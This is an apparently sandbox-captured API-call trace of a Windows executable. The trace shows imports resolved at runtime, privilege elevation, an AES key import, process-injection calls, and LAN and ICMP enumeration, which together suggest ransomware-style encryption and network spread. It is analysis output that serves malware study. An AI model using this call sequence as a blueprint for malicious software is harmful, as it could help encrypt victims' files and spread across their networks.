	[0086.555] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.555] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.555] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0106.511] CryptHashData (hHash=0x4ee8f0, pbData=0x234018, dwDataLen=0x6, dwFlags=0x0) returned 1
	[0106.511] CryptGetHashParam (in: hHash=0x4ee8f0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0106.511] CryptDestroyHash (hHash=0x4ee8f0) returned 1
	[0166.683] FreeLibrary (hLibModule=0x7fefddc0000) returned 1
	[0166.684] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0166.685] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0166.685] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0166.685] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0166.685] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0166.685] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0166.685] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0166.685] CryptAcquireContextA (in: phProv=0x233d48, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x233d48*=0x4ed8d0) returned 1
	[0166.687] CryptCreateHash (in: hProv=0x4ed8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x233d50 | out: phHash=0x233d50) returned 1
	[0166.688] CryptHashData (hHash=0x4ee8f0, pbData=0x233e20, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0166.688] CryptGetHashParam (in: hHash=0x4ee8f0, dwParam=0x2, pbData=0x233d70, pdwDataLen=0x233d40, dwFlags=0x0 | out: pbData=0x233d70, pdwDataLen=0x233d40) returned 1
	[0166.688] CryptReleaseContext (hProv=0x4ed8d0, dwFlags=0x0) returned 1
	[0166.688] CryptDestroyHash (hHash=0x4ee8f0) returned 0
	[0166.688] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0166.688] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0166.688] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0166.688] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0166.688] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0166.688] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0166.689] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0166.689] CryptAcquireContextA (in: phProv=0x233d48, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x233d48*=0x4ed8d0) returned 1
	[0166.690] CryptCreateHash (in: hProv=0x4ed8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x233d50 | out: phHash=0x233d50) returned 1
	[0166.690] CryptHashData (hHash=0x4ee960, pbData=0x233e20, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0166.690] CryptGetHashParam (in: hHash=0x4ee960, dwParam=0x2, pbData=0x233d70, pdwDataLen=0x233d40, dwFlags=0x0 | out: pbData=0x233d70, pdwDataLen=0x233d40) returned 1
	[0166.690] CryptReleaseContext (hProv=0x4ed8d0, dwFlags=0x0) returned 1
	[0166.690] CryptDestroyHash (hHash=0x4ee960) returned 0
	[0166.690] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0166.691] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0166.691] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0166.691] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0166.691] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0166.691] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0166.691] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0166.691] CryptAcquireContextA (in: phProv=0x233d48, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x233d48*=0x4ed8d0) returned 1
	[0166.693] CryptCreateHash (in: hProv=0x4ed8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x233d50 | out: phHash=0x233d50) returned 1
	[0166.693] CryptHashData (hHash=0x4ee9d0, pbData=0x233e20, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0166.693] CryptGetHashParam (in: hHash=0x4ee9d0, dwParam=0x2, pbData=0x233d70, pdwDataLen=0x233d40, dwFlags=0x0 | out: pbData=0x233d70, pdwDataLen=0x233d40) returned 1
	[0166.693] CryptReleaseContext (hProv=0x4ed8d0, dwFlags=0x0) returned 1
	[0166.693] CryptDestroyHash (hHash=0x4ee9d0) returned 0
	[0166.693] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0166.693] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0166.693] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0166.693] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0166.694] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0166.694] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0166.694] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0166.694] CryptAcquireContextA (in: phProv=0x233d48, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x233d48*=0x4ed8d0) returned 1
	[0166.695] CryptCreateHash (in: hProv=0x4ed8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x233d50 | out: phHash=0x233d50) returned 1
	[0166.696] CryptHashData (hHash=0x4eea40, pbData=0x233e20, dwDataLen=0x4, dwFlags=0x0) returned 1
	[0166.696] CryptGetHashParam (in: hHash=0x4eea40, dwParam=0x2, pbData=0x233d70, pdwDataLen=0x233d40, dwFlags=0x0 | out: pbData=0x233d70, pdwDataLen=0x233d40) returned 1
	[0166.696] CryptReleaseContext (hProv=0x4ed8d0, dwFlags=0x0) returned 1
	[0166.696] CryptDestroyHash (hHash=0x4eea40) returned 0
	[0166.696] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0166.696] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0166.696] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0166.696] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0166.696] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0166.696] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0166.697] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0166.697] CryptAcquireContextA (in: phProv=0x233d48, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x233d48*=0x4ed8d0) returned 1
	[0166.698] CryptCreateHash (in: hProv=0x4ed8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x233d50 | out: phHash=0x233d50) returned 1
	[0166.698] CryptHashData (hHash=0x4eeab0, pbData=0x233e20, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0166.698] CryptGetHashParam (in: hHash=0x4eeab0, dwParam=0x2, pbData=0x233d70, pdwDataLen=0x233d40, dwFlags=0x0 | out: pbData=0x233d70, pdwDataLen=0x233d40) returned 1
	[0166.698] CryptReleaseContext (hProv=0x4ed8d0, dwFlags=0x0) returned 1
	[0166.698] CryptDestroyHash (hHash=0x4eeab0) returned 0
	[0166.699] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0166.699] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0166.699] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0166.699] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0166.699] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0166.699] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0166.699] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0166.699] CryptAcquireContextA (in: phProv=0x233d48, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x233d48*=0x4ed8d0) returned 1
	[0166.861] CryptCreateHash (in: hProv=0x4ed8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x233d50 | out: phHash=0x233d50) returned 1
	[0166.861] CryptHashData (hHash=0x4eeb20, pbData=0x233e20, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0166.861] CryptGetHashParam (in: hHash=0x4eeb20, dwParam=0x2, pbData=0x233d70, pdwDataLen=0x233d40, dwFlags=0x0 | out: pbData=0x233d70, pdwDataLen=0x233d40) returned 1
	[0166.861] CryptReleaseContext (hProv=0x4ed8d0, dwFlags=0x0) returned 1
	[0166.861] CryptDestroyHash (hHash=0x4eeb20) returned 0
	[0166.862] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0166.862] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0166.862] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0166.862] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0166.862] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0166.862] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0166.862] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0166.862] CryptAcquireContextA (in: phProv=0x233d48, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x233d48*=0x4ed8d0) returned 1
	[0166.864] CryptCreateHash (in: hProv=0x4ed8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x233d50 | out: phHash=0x233d50) returned 1
	[0166.864] CryptHashData (hHash=0x4eeb90, pbData=0x233e20, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0166.864] CryptGetHashParam (in: hHash=0x4eeb90, dwParam=0x2, pbData=0x233d70, pdwDataLen=0x233d40, dwFlags=0x0 | out: pbData=0x233d70, pdwDataLen=0x233d40) returned 1
	[0166.864] CryptReleaseContext (hProv=0x4ed8d0, dwFlags=0x0) returned 1
	[0166.864] CryptDestroyHash (hHash=0x4eeb90) returned 0
	[0166.865] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x76f20000
	[0166.865] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x7fefa660000
	[0166.870] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x7fefddc0000
	[0166.870] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x7fefe130000
	[0167.625] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x7fefe6b0000
	[0167.637] LoadLibraryA (lpLibFileName="Iphlpapi.dll") returned 0x7fefaa30000
	[0167.643] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualFree") returned 0x76f31260
	[0167.643] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptExportKey") returned 0x7fefddc8140
	[0167.644] GetProcAddress (hModule=0x76f20000, lpProcName="DeleteFileW") returned 0x76f2ad90
	[0167.644] GetProcAddress (hModule=0x76f20000, lpProcName="GetLastError") returned 0x76f42dd0
	[0167.644] GetProcAddress (hModule=0x76f20000, lpProcName="GetDriveTypeW") returned 0x76f3bdf0
	[0167.644] GetProcAddress (hModule=0x76f20000, lpProcName="GetCommandLineW") returned 0x76f3c480
	[0167.644] GetProcAddress (hModule=0x76f20000, lpProcName="GetStartupInfoW") returned 0x76f38070
	[0167.644] GetProcAddress (hModule=0x76f20000, lpProcName="FindNextFileW") returned 0x76f31910
	[0167.644] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualAlloc") returned 0x76f367a0
	[0167.645] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetUserNameA") returned 0x7fefddcdc20
	[0167.645] GetProcAddress (hModule=0x76f20000, lpProcName="ExitProcess") returned 0x771640f0
	[0167.645] GetProcAddress (hModule=0x76f20000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76f6bb30
	[0167.645] GetProcAddress (hModule=0x76f20000, lpProcName="CreateProcessA") returned 0x76fb8840
	[0167.645] GetProcAddress (hModule=0x7fefaa30000, lpProcName="GetIpNetTable") returned 0x7fefaa3e558
	[0167.645] GetProcAddress (hModule=0x76f20000, lpProcName="GetVersionExW") returned 0x76f2d910
	[0167.645] GetProcAddress (hModule=0x76f20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76f6bb40
	[0167.646] GetProcAddress (hModule=0x76f20000, lpProcName="GetSystemDefaultLangID") returned 0x76f294e0
	[0167.646] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetUserNameW") returned 0x7fefddd1fd0
	[0167.646] GetProcAddress (hModule=0x76f20000, lpProcName="ReadFile") returned 0x76f31500
	[0167.646] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegQueryValueExA") returned 0x7fefdddc480
	[0167.646] GetProcAddress (hModule=0x76f20000, lpProcName="CloseHandle") returned 0x76f42f80
	[0167.646] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegSetValueExW") returned 0x7fefddd1ed0
	[0167.646] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegCloseKey") returned 0x7fefdde0710
	[0167.646] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileA") returned 0x76fb5620
	[0167.646] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileAttributesW") returned 0x76f337a0
	[0167.647] GetProcAddress (hModule=0x76f20000, lpProcName="WinExec") returned 0x76fb8d80
	[0167.647] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDeriveKey") returned 0x7fefddfb6b0
	[0167.647] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGenKey") returned 0x7fefddc19bc
	[0167.647] GetProcAddress (hModule=0x76f20000, lpProcName="Sleep") returned 0x76f42b70
	[0167.647] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcess") returned 0x76f35cf0
	[0167.647] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="ShellExecuteW") returned 0x7fefe6c983c
	[0167.648] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileSize") returned 0x76f2f9d0
	[0167.648] GetProcAddress (hModule=0x76f20000, lpProcName="GlobalAlloc") returned 0x76f280c0
	[0167.648] GetProcAddress (hModule=0x76f20000, lpProcName="FindClose") returned 0x76f3bd60
	[0167.648] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForMultipleObjects") returned 0x76f31170
	[0167.648] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleFileNameA") returned 0x76f364a0
	[0167.648] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="ShellExecuteA") returned 0x7fefe90ec80
	[0167.649] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleHandleA") returned 0x76f365e0
	[0167.649] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleFileNameW") returned 0x76f37700
	[0167.649] GetProcAddress (hModule=0x76f20000, lpProcName="CreateFileA") returned 0x76f431f0
	[0167.649] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileSizeEx") returned 0x76f29b30
	[0167.649] GetProcAddress (hModule=0x76f20000, lpProcName="WriteFile") returned 0x76f435a0
	[0167.649] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalDrives") returned 0x76f2b930
	[0167.649] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetEnumResourceA") returned 0x7fefa66bcfc
	[0167.649] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegOpenKeyExW") returned 0x7fefdde06f0
	[0167.649] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetCloseEnum") returned 0x7fefa6642dc
	[0167.650] GetProcAddress (hModule=0x76f20000, lpProcName="GetWindowsDirectoryW") returned 0x76f282b0
	[0167.650] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileAttributesA") returned 0x76f22d50
	[0167.650] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegOpenKeyExA") returned 0x7fefdddb5f0
	[0167.650] GetProcAddress (hModule=0x76f20000, lpProcName="SetFilePointer") returned 0x76f31150
	[0167.650] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount") returned 0x76f42b00
	[0167.650] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileAttributesW") returned 0x76f3bdd0
	[0167.650] GetProcAddress (hModule=0x76f20000, lpProcName="FindFirstFileW") returned 0x76f3bd80
	[0167.650] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextW") returned 0x7fefddcd98c
	[0167.650] GetProcAddress (hModule=0x76f20000, lpProcName="MoveFileExW") returned 0x76f23060
	[0167.651] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetOpenEnumA") returned 0x7fefa66bc68
	[0167.651] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoInitialize") returned 0x7fefe14a51c
	[0167.651] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDecrypt") returned 0x7fefddfb6d0
	[0167.651] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptImportKey") returned 0x7fefddcaf6c
	[0167.652] GetProcAddress (hModule=0x76f20000, lpProcName="SetFilePointerEx") returned 0x76f2af00
	[0167.652] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileW") returned 0x76f292d0
	[0167.652] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibrary") returned 0x76f36620
	[0167.652] GetProcAddress (hModule=0x76f20000, lpProcName="CreateProcessW") returned 0x76f41bb0
	[0167.652] GetProcAddress (hModule=0x76f20000, lpProcName="CreateDirectoryW") returned 0x76f2ad70
	[0167.652] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThread") returned 0x76f36580
	[0167.652] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyKey") returned 0x7fefddcafa0
	[0167.652] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoCreateInstance") returned 0x7fefe157490
	[0167.652] GetProcAddress (hModule=0x76f20000, lpProcName="CreateFileW") returned 0x76f31870
	[0167.653] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileAttributesA") returned 0x76f313e0
	[0167.787] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptEncrypt") returned 0x7fefddfb650
	[0167.787] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegDeleteValueW") returned 0x7fefddcbbb0
	[0167.787] GetProcAddress (hModule=0x7fefddc0000, lpProcName="EnumServicesStatusW") returned 0x7fefde0d5f0
	[0167.787] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetTokenInformation") returned 0x7fefdddbd50
	[0167.787] GetProcAddress (hModule=0x7fefddc0000, lpProcName="ImpersonateSelf") returned 0x7fefddcc180
	[0167.787] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupPrivilegeValueW") returned 0x7fefdddb9e0
	[0167.787] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenProcessToken") returned 0x7fefdddbd70
	[0167.787] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenSCManagerW") returned 0x7fefddcc2a8
	[0167.788] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenThreadToken") returned 0x7fefdddbd84
	[0167.788] GetProcAddress (hModule=0x7fefddc0000, lpProcName="AdjustTokenPrivileges") returned 0x7fefdddb9b0
	[0167.788] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualAllocEx") returned 0x76f6bbd0
	[0167.788] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupAccountSidW") returned 0x7fefdddb898
	[0167.788] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="CommandLineToArgvW") returned 0x7fefe6d157c
	[0167.788] GetProcAddress (hModule=0x76f20000, lpProcName="WriteProcessMemory") returned 0x76f6bad0
	[0167.788] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualFreeEx") returned 0x76f6bb90
	[0167.788] GetProcAddress (hModule=0x76f20000, lpProcName="CreateRemoteThread") returned 0x76f6c4f0
	[0167.788] GetProcAddress (hModule=0x7fefaa30000, lpProcName="GetAdaptersAddresses") returned 0x7fefaa32ab4
	[0167.789] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpCloseHandle") returned 0x7fefaa37cc0
	[0167.789] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpCreateFile") returned 0x7fefaa38250
	[0167.789] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpSendEcho") returned 0x7fefaa38340
	[0167.789] SetLastError (dwErrCode=0x0) 
	[0167.789] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SHyuNkHTvlan.exe\" 8 LAN"
	[0167.789] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SHyuNkHTvlan.exe\" 8 LAN", pNumArgs=0x234990 | out: pNumArgs=0x234990) returned 0x4f7610*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SHyuNkHTvlan.exe"
	[0167.790] GetLastError () returned 0x0
	[0167.790] Sleep (dwMilliseconds=0x1388) 
	[0173.039] SetLastError (dwErrCode=0x0) 
	[0173.039] GetCurrentThread () returned 0xfffffffffffffffe
	[0173.039] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x2340a0 | out: TokenHandle=0x2340a0*=0x1cfaa52700) returned 0
	[0173.039] GetLastError () returned 0x3f0
	[0173.039] ImpersonateSelf (ImpersonationLevel=0x2) returned 1
	[0173.040] GetCurrentThread () returned 0xfffffffffffffffe
	[0173.040] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x2340a0 | out: TokenHandle=0x2340a0*=0x8c) returned 1
	[0173.040] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x234028 | out: lpLuid=0x234028*(LowPart=0x11, HighPart=0)) returned 1
	[0173.305] AdjustTokenPrivileges (in: TokenHandle=0x8c, DisableAllPrivileges=0, NewState=0x233ff0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0173.306] GetLastError () returned 0x0
	[0173.306] GetVersionExW (in: lpVersionInformation=0x233ee0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x233ee0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0173.306] GetWindowsDirectoryW (in: lpBuffer=0x1400cdad0, uSize=0x64 | out: lpBuffer="C:\\Windows") returned 0xa
	[0173.306] GetWindowsDirectoryW (in: lpBuffer=0x1400cdc90, uSize=0x140 | out: lpBuffer="C:\\Windows") returned 0xa
	[0173.306] CryptAcquireContextW (in: phProv=0x1400cdb38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x10 | out: phProv=0x1400cdb38*=0x0) returned 0
	[0173.326] CryptAcquireContextW (in: phProv=0x1400cdb38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x20 | out: phProv=0x1400cdb38*=0x4fab70) returned 1
	[0173.342] CryptImportKey (in: hProv=0x4fab70, pbData=0x13ff8e310, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x1, phKey=0x1400cdc80 | out: phKey=0x1400cdc80*=0x4ef0d0) returned 1
	[0173.342] Sleep (dwMilliseconds=0x3e8) 
	[0174.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff75b28, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0
	[0174.500] GetTickCount () returned 0x117170a
	[0174.500] Sleep (dwMilliseconds=0xc50a) 
	[0185.557] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x20d0000
	[0185.557] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0xd0000
	[0185.557] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2330000
	[0185.558] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x480000
	[0185.558] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2430000
	[0185.558] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x490000
	[0185.558] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2530000
	[0185.559] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4a0000
	[0185.559] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2630000
	[0185.559] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4b0000
	[0185.559] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2730000
	[0185.559] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4c0000
	[0185.560] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0185.560] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1e30000
	[0185.560] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2930000
	[0185.560] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1e40000
	[0185.561] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2a30000
	[0185.561] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1e50000
	[0185.561] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2b30000
	[0185.561] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1e60000
	[0185.562] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2c30000
	[0185.562] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1e70000
	[0185.563] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2d30000
